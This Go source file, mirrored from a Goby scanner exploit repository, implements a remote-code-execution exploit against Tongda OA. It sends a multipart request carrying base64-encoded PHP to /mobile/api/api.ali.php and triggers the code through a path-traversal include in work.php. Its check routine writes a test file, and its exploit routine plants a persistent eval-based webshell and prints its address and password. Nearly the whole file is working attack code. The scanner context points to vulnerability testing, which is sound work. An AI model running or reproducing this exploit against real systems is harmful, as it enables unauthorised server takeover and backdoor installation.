mirror of https://github.com/qwqdanchun/Goby.git
129 lines
5.3 KiB
Go
129 lines
5.3 KiB
Go
package exploits
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import (
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"fmt"
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"git.gobies.org/goby/goscanner/goutils"
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"git.gobies.org/goby/goscanner/jsonvul"
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"git.gobies.org/goby/goscanner/scanconfig"
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"git.gobies.org/goby/httpclient"
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"strings"
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"regexp"
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"time"
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"encoding/base64"
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)
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func init() {
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expJson := `{
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"Name": "Tongda OA api.ali.php RCE",
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"Description": "There is PHP command execution in Tongda OA api.ali.php file, which can be written to webshell file to control the server",
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"Product": "Tongda OA",
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"Homepage": "https://www.tongda2000.com",
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"DisclosureDate": "2021-06-05",
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"Author": "PeiQi",
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"GobyQuery": "app=\"TongDa-OA\"",
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"Level": "3",
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"Impact": "<p>Tongda OA</p>",
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"Recommendation": "Update patches in time",
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"References": [
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"http://wiki.peiqi.tech"
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],
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"HasExp": true,
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"ExpParams": null,
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"ExpTips": {
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"Type": "",
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"Content": ""
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},
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"ScanSteps": [
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"AND"
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],
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"ExploitSteps": null,
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"Tags": [
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"RCE"
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],
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"CVEIDs": null,
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"CVSSScore": "0.0",
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"AttackSurfaces": {
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"Application": [
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"Tongda OA"
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],
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"Support": null,
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"Service": null,
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"System": null,
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"Hardware": null
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},
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"Disable": false,
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"Recommandation": "<p>Update</p>"
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}`
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ExpManager.AddExploit(NewExploit(
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goutils.GetFileName(),
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expJson,
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func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
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randomStr := goutils.RandomHexString(8)
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uri := "/mobile/api/api.ali.php"
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eval_data := "file_put_contents('../../" + randomStr + ".php','<?php echo \"" + randomStr + "\";unlink(__FILE__);?>');"
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eval_data_base := []byte(eval_data)
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encoded := base64.StdEncoding.EncodeToString(eval_data_base)
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cfg := httpclient.NewPostRequestConfig(uri)
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cfg.VerifyTls = false
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cfg.FollowRedirect = false
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cfg.Header.Store("Content-type", "multipart/form-data; boundary=502f67681799b07e4de6b503655f5cae")
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cfg.Data = "--502f67681799b07e4de6b503655f5cae\r\nContent-Disposition: form-data; name=\"file\"; filename=\"" + randomStr + ".json\"\r\nContent-Type: application/octet-stream\r\n\r\n{\"modular\":\"AllVariable\",\"a\":\"" + encoded + "\",\"dataAnalysis\":\"{\\\"a\\\":\\\"錦',$BackData[dataAnalysis] => eval(base64_decode($BackData[a])));/*\\\"}\"}\r\n--502f67681799b07e4de6b503655f5cae--"
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if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil {
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if resp.StatusCode == 200 {
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uri_1 := "/inc/package/work.php?id=../../../../../myoa/attach/approve_center/2106/%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E." + randomStr
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cfg_1 := httpclient.NewGetRequestConfig(uri_1)
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cfg_1.VerifyTls = false
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cfg_1.FollowRedirect = false
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cfg_1.Header.Store("Content-type", "application/x-www-form-urlencoded")
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if resp, err := httpclient.DoHttpRequest(u, cfg_1); err == nil {
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if resp.StatusCode == 200 && strings.Contains(resp.RawBody, "OK") {
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uri_2 := "/" + randomStr + ".php"
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cfg_2 := httpclient.NewGetRequestConfig(uri_2)
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cfg_2.VerifyTls = false
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cfg_2.FollowRedirect = false
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cfg_2.Header.Store("Content-type", "application/x-www-form-urlencoded")
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if resp, err := httpclient.DoHttpRequest(u, cfg_2); err == nil {
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return resp.StatusCode == 200 && strings.Contains(resp.RawBody, randomStr)
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}
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}
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}
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}
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}
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return false
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},
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func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
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randomStr := goutils.RandomHexString(8)
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randomStr_pass := goutils.RandomHexString(4)
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uri := "/mobile/api/api.ali.php"
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eval_data := "file_put_contents('../../" + randomStr + ".php','<?php @eval($_REQUEST[\"" + randomStr_pass + "\"]);?>');"
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eval_data_base := []byte(eval_data)
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encoded := base64.StdEncoding.EncodeToString(eval_data_base)
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cfg := httpclient.NewPostRequestConfig(uri)
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cfg.VerifyTls = false
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cfg.FollowRedirect = false
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cfg.Header.Store("Content-type", "multipart/form-data; boundary=502f67681799b07e4de6b503655f5cae")
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cfg.Data = "--502f67681799b07e4de6b503655f5cae\r\nContent-Disposition: form-data; name=\"file\"; filename=\"" + randomStr + ".json\"\r\nContent-Type: application/octet-stream\r\n\r\n{\"modular\":\"AllVariable\",\"a\":\"" + encoded + "\",\"dataAnalysis\":\"{\\\"a\\\":\\\"錦',$BackData[dataAnalysis] => eval(base64_decode($BackData[a])));/*\\\"}\"}\r\n--502f67681799b07e4de6b503655f5cae--"
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if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil {
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if resp.StatusCode == 200 {
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uri_1 := "/inc/package/work.php?id=../../../../../myoa/attach/approve_center/2106/%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E." + randomStr
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cfg_1 := httpclient.NewGetRequestConfig(uri_1)
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cfg_1.VerifyTls = false
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cfg_1.FollowRedirect = false
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cfg_1.Header.Store("Content-type", "application/x-www-form-urlencoded")
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if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg_1); err == nil {
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if resp.StatusCode == 200 && strings.Contains(resp.RawBody, "OK") {
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expResult.Output = "Webshell Addr: /" + randomStr + ".php\r\n" + "Webshell Pass: " + randomStr_pass
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expResult.Success = true
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}
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}
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}
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}
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return expResult
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},
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))
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}
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